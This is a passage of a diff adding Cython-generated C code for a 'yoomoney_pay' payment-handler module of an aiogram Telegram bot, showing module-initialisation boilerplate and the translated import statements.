__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_yoomoney_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_yoomoney_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "yoomoney_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC inityoomoney_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC inityoomoney_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_yoomoney_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'yoomoney_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("yoomoney_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "yoomoney_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_yoomoney_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__yoomoney_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.yoomoney_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.yoomoney_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/yoomoney_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":2 + * import hashlib + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":11 + * from aiohttp import web + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOMONEY_ENABLE)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_ID); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_ID); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_YOOMONEY_ID)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOMONEY_SECRET_KEY); + __Pyx_GIVEREF(__pyx_n_s_YOOMONEY_SECRET_KEY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_YOOMONEY_SECRET_KEY)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_config, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_ENABLE, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_ID, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = 